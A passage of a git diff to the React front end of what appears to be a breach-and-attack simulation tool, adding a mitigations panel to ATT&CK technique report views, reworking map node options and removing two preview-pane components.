} diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js index a3210b73c..bdf71d0cc 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1106.js @@ -1,7 +1,7 @@ import React from 'react'; -import '../../../styles/Collapse.scss' -import ReactTable from "react-table"; -import { getUsageColumns } from "./Helpers" +import ReactTable from 'react-table'; +import {getUsageColumns} from './Helpers' +import MitigationsComponent from './MitigationsComponent'; class T1106 extends React.Component { @@ -17,11 +17,12 @@ class T1106 extends React.Component { <br/> {this.props.data.api_uses.length !== 0 ? <ReactTable - columns={getUsageColumns()} - data={this.props.data.api_uses} - showPagination={false} - defaultPageSize={this.props.data.api_uses.length} - /> : ""} + columns={getUsageColumns()} + data={this.props.data.api_uses} + showPagination={false} + defaultPageSize={this.props.data.api_uses.length} + /> : ''} + <MitigationsComponent mitigations={this.props.data.mitigations}/> </div> ); } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js index d80dc3f0e..bad80a538 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1107.js @@ -1,7 +1,7 @@ import React from 'react'; -import '../../../styles/Collapse.scss' -import ReactTable from "react-table"; -import { renderMachineFromSystemData, ScanStatus } from "./Helpers" +import ReactTable from 'react-table'; +import {renderMachineFromSystemData, ScanStatus} from './Helpers' +import MitigationsComponent from './MitigationsComponent'; class T1107 extends React.Component { @@ -10,8 +10,8 @@ class T1107 extends React.Component { super(props); } - static renderDelete(status){ - if(status === ScanStatus.USED){ + static renderDelete(status) { + if (status === ScanStatus.USED) { return <span>Yes</span> } else { return <span>No</span> @@ -21,11 +21,19 @@ class T1107 extends React.Component { static getDeletedFileColumns() { return ([{ columns: [ - {Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x._id.machine), style: { 'whiteSpace': 'unset' }}, - {Header: 'Path', id: 'path', accessor: x => x._id.path, style: { 'whiteSpace': 'unset' }}, - {Header: 'Deleted?', id: 'deleted', accessor: x => this.renderDelete(x._id.status), - style: { 'whiteSpace': 'unset' }, width: 160}] - }])}; + { + Header: 'Machine', + id: 'machine', + accessor: x => renderMachineFromSystemData(x._id.machine), + style: {'whiteSpace': 'unset'} + }, + {Header: 'Path', id: 'path', accessor: x => x._id.path, style: {'whiteSpace': 'unset'}}, + { + Header: 'Deleted?', id: 'deleted', accessor: x => this.renderDelete(x._id.status), + style: {'whiteSpace': 'unset'}, width: 160 + }] + }]) + } render() { return ( @@ -34,11 +42,12 @@ class T1107 extends React.Component { <br/> {this.props.data.deleted_files.length !== 0 ? <ReactTable - columns={T1107.getDeletedFileColumns()} - data={this.props.data.deleted_files} - showPagination={false} - defaultPageSize={this.props.data.deleted_files.length} - /> : ""} + columns={T1107.getDeletedFileColumns()} + data={this.props.data.deleted_files} + showPagination={false} + defaultPageSize={this.props.data.deleted_files.length} + /> : ''} + <MitigationsComponent mitigations={this.props.data.mitigations}/> </div> ); } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js index da9682da3..17b53cda1 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1110.js @@ -1,7 +1,7 @@ import React from 'react'; -import '../../../styles/Collapse.scss' -import ReactTable from "react-table"; -import { renderMachine, ScanStatus } from "./Helpers" +import ReactTable from 'react-table'; +import {renderMachine, ScanStatus} from './Helpers' +import MitigationsComponent from './MitigationsComponent' class T1110 extends React.Component { @@ -13,19 +13,27 @@ class T1110 extends React.Component { static getServiceColumns() { return ([{ columns: [ - {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), - style: { 'whiteSpace': 'unset' }, width: 160}, - {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: { 'whiteSpace': 'unset' }, width: 100}, - {Header: 'Started', id: 'started', accessor: x => x.info.started, style: { 'whiteSpace': 'unset' }}, - {Header: 'Finished', id: 'finished', accessor: x => x.info.finished, style: { 'whiteSpace': 'unset' }}, - {Header: 'Attempts', id: 'attempts', accessor: x => x.attempt_cnt, style: { 'whiteSpace': 'unset' }, width: 160}, - {Header: 'Successful credentials', id: 'credentials', accessor: x => this.renderCreds(x.successful_creds), style: { 'whiteSpace': 'unset' }}, - ] - }])}; + { + Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), + style: {'whiteSpace': 'unset'}, width: 160 + }, + {Header: 'Service', id: 'service', accessor: x => x.info.display_name, style: {'whiteSpace': 'unset'}, width: 100}, + {Header: 'Started', id: 'started', accessor: x => x.info.started, style: {'whiteSpace': 'unset'}}, + {Header: 'Finished', id: 'finished', accessor: x => x.info.finished, style: {'whiteSpace': 'unset'}}, + {Header: 'Attempts', id: 'attempts', accessor: x => x.attempt_cnt, style: {'whiteSpace': 'unset'}, width: 160}, + { + Header: 'Successful credentials', + id: 'credentials', + accessor: x => this.renderCreds(x.successful_creds), + style: {'whiteSpace': 'unset'} + } + ] + }]) + } static renderCreds(creds) { return <span>{creds.map(cred => <div key={cred}>{cred}</div>)}</span> - }; + } render() { return ( @@ -38,7 +46,8 @@ class T1110 extends React.Component { data={this.props.data.services} showPagination={false} defaultPageSize={this.props.data.services.length} - /> : ""} + /> : ''} + <MitigationsComponent mitigations={this.props.data.mitigations}/> </div> ); } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1129.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1129.js index 64db13f81..d41151ee2 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1129.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1129.js @@ -1,7 +1,7 @@ import React from 'react'; -import '../../../styles/Collapse.scss' -import ReactTable from "react-table"; -import {getUsageColumns} from "./Helpers"; +import ReactTable from 'react-table'; +import {getUsageColumns} from './Helpers'; +import MitigationsComponent from './MitigationsComponent'; class T1129 extends React.Component { @@ -16,11 +16,12 @@ class T1129 extends React.Component { <br/> {this.props.data.dlls.length !== 0 ? <ReactTable - columns={getUsageColumns()} - data={this.props.data.dlls} - showPagination={false} - defaultPageSize={this.props.data.dlls.length} - /> : ""} + columns={getUsageColumns()} + data={this.props.data.dlls} + showPagination={false} + defaultPageSize={this.props.data.dlls.length} + /> : ''} + <MitigationsComponent mitigations={this.props.data.mitigations}/> </div> ); } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js index 641602dc5..6855a4b02 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1145.js @@ -1,7 +1,7 @@ import React from 'react'; -import '../../../styles/Collapse.scss' -import ReactTable from "react-table"; -import { renderMachineFromSystemData, ScanStatus } from "./Helpers" +import ReactTable from 'react-table'; +import {renderMachineFromSystemData, ScanStatus} from './Helpers' +import MitigationsComponent from './MitigationsComponent'; class T1145 extends React.Component { @@ -10,11 +10,11 @@ class T1145 extends React.Component { super(props); } - static renderSSHKeys(keys){ + static renderSSHKeys(keys) { let output = []; - keys.forEach(function(keyInfo){ - output.push(<div key={keyInfo['name']+keyInfo['home_dir']}> - SSH key pair used by <b>{keyInfo['name']}</b> user found in {keyInfo['home_dir']}</div>) + keys.forEach(function (keyInfo) { + output.push(<div key={keyInfo['name'] + keyInfo['home_dir']}> + SSH key pair used by <b>{keyInfo['name']}</b> user found in {keyInfo['home_dir']}</div>) }); return (<div>{output}</div>); } @@ -22,16 +22,21 @@ class T1145 extends React.Component { static getKeysInfoColumns() { return ([{ columns: [ - {Header: 'Machine', + { + Header: 'Machine', id: 'machine', accessor: x => renderMachineFromSystemData(x.machine), - style: { 'whiteSpace': 'unset' }}, - {Header: 'Keys found', + style: {'whiteSpace': 'unset'} + }, + { + Header: 'Keys found', id: 'keys', accessor: x => T1145.renderSSHKeys(x.ssh_info), - style: { 'whiteSpace': 'unset' }}, - ] - }])}; + style: {'whiteSpace': 'unset'} + } + ] + }]) + } render() { return ( @@ -40,11 +45,12 @@ class T1145 extends React.Component { <br/> {this.props.data.status === ScanStatus.USED ? <ReactTable - columns={T1145.getKeysInfoColumns()} - data={this.props.data.ssh_info} - showPagination={false} - defaultPageSize={this.props.data.ssh_info.length} - /> : ""} + columns={T1145.getKeysInfoColumns()} + data={this.props.data.ssh_info} + showPagination={false} + defaultPageSize={this.props.data.ssh_info.length} + /> : ''} + <MitigationsComponent mitigations={this.props.data.mitigations}/> </div> ); } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js index 31be117a9..920f3f22d 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1188.js @@ -1,7 +1,7 @@ import React from 'react'; -import '../../../styles/Collapse.scss' -import ReactTable from "react-table"; -import { renderMachineFromSystemData, ScanStatus } from "./Helpers" +import ReactTable from 'react-table'; +import {renderMachineFromSystemData, ScanStatus} from './Helpers' +import MitigationsComponent from './MitigationsComponent'; class T1188 extends React.Component { @@ -12,22 +12,29 @@ class T1188 extends React.Component { static getHopColumns() { return ([{ - Header: "Communications through multi-hop proxies", + Header: 'Communications through multi-hop proxies', columns: [ - {Header: 'From', + { + Header: 'From', id: 'from', accessor: x => renderMachineFromSystemData(x.from), - style: { 'whiteSpace': 'unset' }}, - {Header: 'To', + style: {'whiteSpace': 'unset'} + }, + { + Header: 'To', id: 'to', accessor: x => renderMachineFromSystemData(x.to), - style: { 'whiteSpace': 'unset' }}, - {Header: 'Hops', + style: {'whiteSpace': 'unset'} + }, + { + Header: 'Hops', id: 'hops', accessor: x => x.count, - style: { 'whiteSpace': 'unset' }}, - ] - }])}; + style: {'whiteSpace': 'unset'} + } + ] + }]) + } render() { return ( @@ -36,11 +43,12 @@ class T1188 extends React.Component { <br/> {this.props.data.status === ScanStatus.USED ? <ReactTable - columns={T1188.getHopColumns()} - data={this.props.data.hops} - showPagination={false} - defaultPageSize={this.props.data.hops.length} - /> : ""} + columns={T1188.getHopColumns()} + data={this.props.data.hops} + showPagination={false} + defaultPageSize={this.props.data.hops.length} + /> : ''} + <MitigationsComponent mitigations={this.props.data.mitigations}/> </div> ); } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js index 8dc655aee..1a92f5e7c 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1197.js @@ -1,37 +1,43 @@ import React from 'react'; -import '../../../styles/Collapse.scss' -import ReactTable from "react-table"; -import { renderMachine } from "./Helpers" +import ReactTable from 'react-table'; +import {renderMachine} from './Helpers' +import MitigationsComponent from './MitigationsComponent'; class T1210 extends React.Component { constructor(props) { super(props); - this.columns = [ {Header: 'Machine', - id: 'machine', accessor: x => renderMachine(x), - style: { 'whiteSpace': 'unset' }, - width: 200}, - {Header: 'Time', - id: 'time', accessor: x => x.time, - style: { 'whiteSpace': 'unset' }, - width: 170}, - {Header: 'Usage', - id: 'usage', accessor: x => x.usage, - style: { 'whiteSpace': 'unset' }} - ] + this.columns = [{ + Header: 'Machine', + id: 'machine', accessor: x => renderMachine(x), + style: {'whiteSpace': 'unset'}, + width: 200 + }, + { + Header: 'Time', + id: 'time', accessor: x => x.time, + style: {'whiteSpace': 'unset'}, + width: 170 + }, + { + Header: 'Usage', + id: 'usage', accessor: x => x.usage, + style: {'whiteSpace': 'unset'} + } + ] } - renderExploitedMachines(){ - if (this.props.data.bits_jobs.length === 0){ - return (<div />) + renderExploitedMachines() { + if (this.props.data.bits_jobs.length === 0) { + return (<div/>) } else { return (<ReactTable - columns={this.columns} - data={this.props.data.bits_jobs} - showPagination={false} - defaultPageSize={this.props.data.bits_jobs.length} - />) + columns={this.columns} + data={this.props.data.bits_jobs} + showPagination={false} + defaultPageSize={this.props.data.bits_jobs.length} + />) } } @@ -44,6 +50,7 @@ class T1210 extends React.Component { </div> <br/> {this.renderExploitedMachines()} + <MitigationsComponent mitigations={this.props.data.mitigations}/> </div> ); } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js index 9b6266efa..3bb6ad8c9 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1210.js @@ -1,7 +1,7 @@ import React from 'react'; -import '../../../styles/Collapse.scss' -import ReactTable from "react-table"; -import { renderMachine } from "./Helpers" +import ReactTable from 'react-table'; +import {renderMachine} from './Helpers' +import MitigationsComponent from './MitigationsComponent'; class T1210 extends React.Component { @@ -12,56 +12,68 @@ class T1210 extends React.Component { static getScanColumns() { return ([{ - Header: "Found services", + Header: 'Found services', columns: [ - {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), - style: { 'whiteSpace': 'unset' }, width: 200}, - {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }}, - {Header: 'Port', id: 'port', accessor: x =>x.service.port, style: { 'whiteSpace': 'unset' }, width: 100}, - {Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }} - ] - }])} + { + Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), + style: {'whiteSpace': 'unset'}, width: 200 + }, + {Header: 'Time', id: 'time', accessor: x => x.time, style: {'whiteSpace': 'unset'}}, + {Header: 'Port', id: 'port', accessor: x => x.service.port, style: {'whiteSpace': 'unset'}, width: 100}, + {Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: {'whiteSpace': 'unset'}} + ] + }]) + } static getExploitColumns() { return ([{ - Header: "Exploited services", + Header: 'Exploited services', columns: [ - {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), - style: { 'whiteSpace': 'unset' }, width: 200}, - {Header: 'Time', id: 'time', accessor: x => x.time, style: { 'whiteSpace': 'unset' }}, - {Header: 'Port/url', id: 'port', accessor: x =>this.renderEndpoint(x.service), style: { 'whiteSpace': 'unset' }, - width: 170}, - {Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: { 'whiteSpace': 'unset' }} - ] - }])}; + { + Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), + style: {'whiteSpace': 'unset'}, width: 200 + }, + {Header: 'Time', id: 'time', accessor: x => x.time, style: {'whiteSpace': 'unset'}}, + { + Header: 'Port/url', id: 'port', accessor: x => this.renderEndpoint(x.service), style: {'whiteSpace': 'unset'}, + width: 170 + }, + {Header: 'Service', id: 'service', accessor: x => x.service.display_name, style: {'whiteSpace': 'unset'}} + ] + }]) + } - static renderEndpoint(val){ + static renderEndpoint(val) { return ( <span>{(val.vulnerable_urls.length !== 0 ? val.vulnerable_urls[0] : val.vulnerable_ports[0])}</span> ) - }; + } - static formatScanned(data){ + static formatScanned(data) { let result = []; - for(let service in data.machine.services){ - let scanned_service = {'machine': data.machine, - 'time': data.time, - 'service': {'port': [data.machine.services[service].port], - 'display_name': data.machine.services[service].display_name}}; + for (let service in data.machine.services) { + let scanned_service = { + 'machine': data.machine, + 'time': data.time, + 'service': { + 'port': [data.machine.services[service].port], + 'display_name': data.machine.services[service].display_name + } + }; result.push(scanned_service) } return result - }; + } renderScannedServices(data) { return ( <div> <br/> <ReactTable - columns={T1210.getScanColumns()} - data={data} - showPagination={false} - defaultPageSize={data.length} + columns={T1210.getScanColumns()} + data={data} + showPagination={false} + defaultPageSize={data.length} /> </div>) } @@ -71,10 +83,10 @@ class T1210 extends React.Component { <div> <br/> <ReactTable - columns={T1210.getExploitColumns()} - data={data} - showPagination={false} - defaultPageSize={data.length} + columns={T1210.getExploitColumns()} + data={data} + showPagination={false} + defaultPageSize={data.length} /> </div>) } @@ -88,6 +100,7 @@ class T1210 extends React.Component { this.renderScannedServices(scanned_services) : ''} {this.props.data.exploited_services.length > 0 ? this.renderExploitedServices(this.props.data.exploited_services) : ''} + <MitigationsComponent mitigations={this.props.data.mitigations}/> </div> ); } diff --git a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js index 712512bcb..f7309665e 100644 --- a/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js +++ b/monkey/monkey_island/cc/ui/src/components/attack/techniques/T1222.js @@ -1,7 +1,7 @@ import React from 'react'; -import '../../../styles/Collapse.scss' -import ReactTable from "react-table"; -import { renderMachine, ScanStatus } from "./Helpers" +import ReactTable from 'react-table'; +import {renderMachine, ScanStatus} from './Helpers' +import MitigationsComponent from './MitigationsComponent'; class T1222 extends React.Component { @@ -12,12 +12,13 @@ class T1222 extends React.Component { static getCommandColumns() { return ([{ - Header: "Permission modification commands", + Header: 'Permission modification commands', columns: [ - {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: { 'whiteSpace': 'unset' }}, - {Header: 'Command', id: 'command', accessor: x => x.command, style: { 'whiteSpace': 'unset' }}, - ] - }])}; + {Header: 'Machine', id: 'machine', accessor: x => renderMachine(x.machine), style: {'whiteSpace': 'unset'}}, + {Header: 'Command', id: 'command', accessor: x => x.command, style: {'whiteSpace': 'unset'}} + ] + }]) + } render() { return ( @@ -26,11 +27,12 @@ class T1222 extends React.Component { <br/> {this.props.data.status === ScanStatus.USED ? <ReactTable - columns={T1222.getCommandColumns()} - data={this.props.data.commands} - showPagination={false} - defaultPageSize={this.props.data.commands.length} - /> : ""} + columns={T1222.getCommandColumns()} + data={this.props.data.commands} + showPagination={false} + defaultPageSize={this.props.data.commands.length} + /> : ''} + <MitigationsComponent mitigations={this.props.data.mitigations}/> </div> ); } diff --git a/monkey/monkey_island/cc/ui/src/components/map/MapOptions.js b/monkey/monkey_island/cc/ui/src/components/map/MapOptions.js index 7e4805797..742d061f4 100644 --- a/monkey/monkey_island/cc/ui/src/components/map/MapOptions.js +++ b/monkey/monkey_island/cc/ui/src/components/map/MapOptions.js @@ -1,16 +1,11 @@ -const groupNames = ['clean_unknown', 'clean_linux', 'clean_windows', 'exploited_linux', 'exploited_windows', 'island', - 'island_monkey_linux', 'island_monkey_linux_running', 'island_monkey_windows', 'island_monkey_windows_running', - 'manual_linux', 'manual_linux_running', 'manual_windows', 'manual_windows_running', 'monkey_linux', - 'monkey_linux_running', 'monkey_windows', 'monkey_windows_running']; - -let getGroupsOptions = () => { +let getGroupsOptions = (stateList) => { let groupOptions = {}; - for (let groupName of groupNames) { - groupOptions[groupName] = + for (let stateName of stateList) { + groupOptions[stateName] = { shape: 'image', size: 50, - image: require('../../images/nodes/' + groupName + '.png') + image: require('../../images/nodes/' + stateName + '.png') }; } @@ -52,11 +47,11 @@ export const basic_options = { } }; -export const options = (() => { +export function getOptions(stateList) { let opts = JSON.parse(JSON.stringify(basic_options)); /* Deep copy */ - opts.groups = getGroupsOptions(); + opts.groups = getGroupsOptions(stateList); return opts; -})(); +} export const optionsPth = (() => { let opts = JSON.parse(JSON.stringify(basic_options)); /* Deep copy */ diff --git a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js deleted file mode 100644 index e06043c20..000000000 --- a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/InfMapPreviewPane.js +++ /dev/null @@ -1,247 +0,0 @@ -import React from 'react'; -import {Icon} from 'react-fa'; -import Toggle from 'react-toggle'; -import {OverlayTrigger, Tooltip} from 'react-bootstrap'; -import download from 'downloadjs' -import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane'; - -class InfMapPreviewPaneComponent extends PreviewPaneComponent { - - osRow(asset) { - return ( - <tr> - <th>Operating System</th> - <td>{asset.os.charAt(0).toUpperCase() + asset.os.slice(1)}</td> - </tr> - ); - } - - ipsRow(asset) { - return ( - <tr> - <th>IP Addresses</th> - <td>{asset.ip_addresses.map(val => <div key={val}>{val}</div>)}</td> - </tr> - ); - } - - servicesRow(asset) { - return ( - <tr> - <th>Services</th> - <td>{asset.services.map(val => <div key={val}>{val}</div>)}</td> - </tr> - ); - } - - accessibleRow(asset) { - return ( - <tr> - <th> - Accessible From - {this.generateToolTip('List of machine which can access this one using a network protocol')} - </th> - <td>{asset.accessible_from_nodes.map(val => <div key={val}>{val}</div>)}</td> - </tr> - ); - } - - statusRow(asset) { - return ( - <tr> - <th>Status</th> - <td>{(asset.dead) ? 'Dead' : 'Alive'}</td> - </tr> - ); - } - - forceKill(event, asset) { - let newConfig = asset.config; - newConfig['alive'] = !event.target.checked; - this.authFetch('/api/monkey/' + asset.guid, - { - method: 'PATCH', - headers: {'Content-Type': 'application/json'}, - body: JSON.stringify({config: newConfig}) - }); - } - - forceKillRow(asset) { - return ( - <tr> - <th> - Force Kill - {this.generateToolTip('If this is on, monkey will die next time it communicates')} - </th> - <td> - <Toggle id={asset.id} checked={!asset.config.alive} icons={false} disabled={asset.dead} - onChange={(e) => this.forceKill(e, asset)}/> - - </td> - </tr> - ); - } - - unescapeLog(st) { - return st.substr(1, st.length - 2) // remove quotation marks on beginning and end of string. - .replace(/\\n/g, "\n") - .replace(/\\r/g, "\r") - .replace(/\\t/g, "\t") - .replace(/\\b/g, "\b") - .replace(/\\f/g, "\f") - .replace(/\\"/g, '\"') - .replace(/\\'/g, "\'") - .replace(/\\&/g, "\&"); - } - - downloadLog(asset) { - this.authFetch('/api/log?id=' + asset.id) - .then(res => res.json()) - .then(res => { - let timestamp = res['timestamp']; - timestamp = timestamp.substr(0, timestamp.indexOf('.')); - let filename = res['monkey_label'].split(':').join('-') + ' - ' + timestamp + '.log'; - let logContent = this.unescapeLog(res['log']); - download(logContent, filename, 'text/plain'); - }); - - } - - downloadLogRow(asset) { - return ( - <tr> - <th> - Download Log - </th> - <td> - <a type="button" className="btn btn-primary" - disabled={!asset.has_log} - onClick={() => this.downloadLog(asset)}>Download</a> - </td> - </tr> - ); - } - - exploitsTimeline(asset) { - if (asset.exploits.length === 0) { - return (<div/>); - } - - return ( - <div> - <h4 style={{'marginTop': '2em'}}> - Exploit Timeline - {this.generateToolTip('Timeline of exploit attempts. Red is successful. Gray is unsuccessful')} - </h4> - <ul className="timeline"> - {asset.exploits.map(exploit => - <li key={exploit.timestamp}> - <div className={'bullet ' + (exploit.result ? 'bad' : '')}/> - <div>{new Date(exploit.timestamp).toLocaleString()}</div> - <div>{exploit.origin}</div> - <div>{exploit.exploiter}</div> - </li> - )} - </ul> - </div> - ) - } - - assetInfo(asset) { - return ( - <div> - <table className="table table-condensed"> - <tbody> - {this.osRow(asset)} - {this.ipsRow(asset)} - {this.servicesRow(asset)} - {this.accessibleRow(asset)} - </tbody> - </table> - {this.exploitsTimeline(asset)} - </div> - ); - } - - infectedAssetInfo(asset) { - return ( - <div> - <table className="table table-condensed"> - <tbody> - {this.osRow(asset)} - {this.statusRow(asset)} - {this.ipsRow(asset)} - {this.servicesRow(asset)} - {this.accessibleRow(asset)} - {this.forceKillRow(asset)} - {this.downloadLogRow(asset)} - </tbody> - </table> - {this.exploitsTimeline(asset)} - </div> - ); - } - - scanInfo(edge) { - return ( - <div> - <table className="table table-condensed"> - <tbody> - <tr> - <th>Operating System</th> - <td>{edge.os.type}</td> - </tr> - <tr> - <th>IP Address</th> - <td>{edge.ip_address}</td> - </tr> - <tr> - <th>Services</th> - <td>{edge.services.map(val => <div key={val}>{val}</div>)}</td> - </tr> - </tbody> - </table> - { - (edge.exploits.length === 0) ? - '' : - <div> - <h4 style={{'marginTop': '2em'}}>Timeline</h4> - <ul className="timeline"> - {edge.exploits.map(exploit => - <li key={exploit.timestamp}> - <div className={'bullet ' + (exploit.result ? 'bad' : '')}/> - <div>{new Date(exploit.timestamp).toLocaleString()}</div> - <div>{exploit.origin}</div> - <div>{exploit.exploiter}</div> - </li> - )} - </ul> - </div> - } - </div> - ); - } - - islandEdgeInfo() { - return ( - <div> - </div> - ); - } - - getInfoByProps() { - switch (this.props.type) { - case 'edge': - return this.scanInfo(this.props.item); - case 'node': - return this.props.item.group.includes('monkey', 'manual') ? - this.infectedAssetInfo(this.props.item) : this.assetInfo(this.props.item); - case 'island_edge': - return this.islandEdgeInfo(); - } - - return null; - } -} - -export default InfMapPreviewPaneComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js index 327d77061..dd99c8503 100644 --- a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js +++ b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PreviewPane.js @@ -1,5 +1,6 @@ import React from 'react'; -import {Icon} from 'react-fa'; +import { FontAwesomeIcon } from '@fortawesome/react-fontawesome' +import { faHandPointLeft } from '@fortawesome/free-solid-svg-icons' import Toggle from 'react-toggle'; import {OverlayTrigger, Tooltip} from 'react-bootstrap'; import download from 'downloadjs' @@ -92,14 +93,14 @@ class PreviewPaneComponent extends AuthComponent { unescapeLog(st) { return st.substr(1, st.length - 2) // remove quotation marks on beginning and end of string. - .replace(/\\n/g, "\n") - .replace(/\\r/g, "\r") - .replace(/\\t/g, "\t") - .replace(/\\b/g, "\b") - .replace(/\\f/g, "\f") - .replace(/\\"/g, '\"') - .replace(/\\'/g, "\'") - .replace(/\\&/g, "\&"); + .replace(/\\n/g, '\n') + .replace(/\\r/g, '\r') + .replace(/\\t/g, '\t') + .replace(/\\b/g, '\b') + .replace(/\\f/g, '\f') + .replace(/\\"/g, '\"') + .replace(/\\'/g, '\'') + .replace(/\\&/g, '\&'); } downloadLog(asset) { @@ -252,8 +253,15 @@ class PreviewPaneComponent extends AuthComponent { info = this.scanInfo(this.props.item); break; case 'node': - info = this.props.item.group.includes('monkey', 'manual') ? this.infectedAssetInfo(this.props.item) : - this.props.item.group !== 'island' ? this.assetInfo(this.props.item) : this.islandAssetInfo(); + if (this.props.item.group.includes('monkey') && this.props.item.group.includes('starting')) { + info = this.assetInfo(this.props.item); + } else if (this.props.item.group.includes('monkey', 'manual')) { + info = this.infectedAssetInfo(this.props.item) + } else if (this.props.item.group !== 'island') { + info = this.assetInfo(this.props.item) + } else { + info = this.islandAssetInfo(); + } break; case 'island_edge': info = this.islandEdgeInfo(); @@ -273,7 +281,7 @@ class PreviewPaneComponent extends AuthComponent { <div className="preview-pane"> {!info ? <span> - <Icon name="hand-o-left" style={{'marginRight': '0.5em'}}/> + <FontAwesomeIcon icon={faHandPointLeft} style={{'marginRight': '0.5em'}}/> Select an item on the map for a detailed look </span> : diff --git a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PthPreviewPane.js b/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PthPreviewPane.js deleted file mode 100644 index f9a5ae1bb..000000000 --- a/monkey/monkey_island/cc/ui/src/components/map/preview-pane/PthPreviewPane.js +++ /dev/null @@ -1,63 +0,0 @@ -import React from 'react'; -import {Icon} from 'react-fa'; -import Toggle from 'react-toggle'; -import {OverlayTrigger, Tooltip} from 'react-bootstrap'; -import download from 'downloadjs' -import PreviewPaneComponent from 'components/map/preview-pane/PreviewPane'; - -class PthPreviewPaneComponent extends PreviewPaneComponent { - nodeInfo(asset) { - return ( - <div> - <table className="table table-condensed"> - <tbody> - <tr> - <th>Hostname</th> - <td>{asset.hostname}</td> - </tr> - <tr> - <th>IP Addresses</th> - <td>{asset.ips.map(val => <div key={val}>{val}</div>)}</td> - </tr> - <tr> - <th>Services</th> - <td>{asset.services.map(val => <div key={val}>{val}</div>)}</td> - </tr> - <tr> - <th>Compromised Users</th> - <td>{asset.users.map(val => <div key={val}>{val}</div>)}</td> - </tr> - </tbody> - </table> - </div> - ); - } - - edgeInfo(edge) { - return ( - <div> - <table className="table table-condensed"> - <tbody> - <tr> - <th>Compromised Users</th> - <td>{edge.users.map(val => <div key={val}>{val}</div>)}</td> - </tr> - </tbody> - </table> - </div> - ); - } - - getInfoByProps() { - switch (this.props.type) { - case 'edge': - return this.edgeInfo(this.props.item); - case 'node': - return this.nodeInfo(this.props.item); - } - - return null; - } -} - -export default PthPreviewPaneComponent; diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 43dac797c..a49e198a6 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -1,11 +1,11 @@ import React from 'react'; import Form from 'react-jsonschema-form'; import {Col, Modal, Nav, NavItem} from 'react-bootstrap'; -import fileDownload from 'js-file-download'; +import FileSaver from 'file-saver'; import AuthComponent from '../AuthComponent'; -import { FilePond } from 'react-filepond'; +import {FilePond} from 'react-filepond'; import 'filepond/dist/filepond.min.css'; -import MatrixComponent from "../attack/MatrixComponent"; +import ConfigMatrixComponent from '../attack/ConfigMatrixComponent'; const ATTACK_URL = '/api/attack'; const CONFIG_URL = '/api/configuration/island'; @@ -30,40 +30,40 @@ class ConfigurePageComponent extends AuthComponent { lastAction: 'none', sections: [], selectedSection: 'attack', - allMonkeysAreDead: true, + monkeysRan: false, PBAwinFile: [], PBAlinuxFile: [], 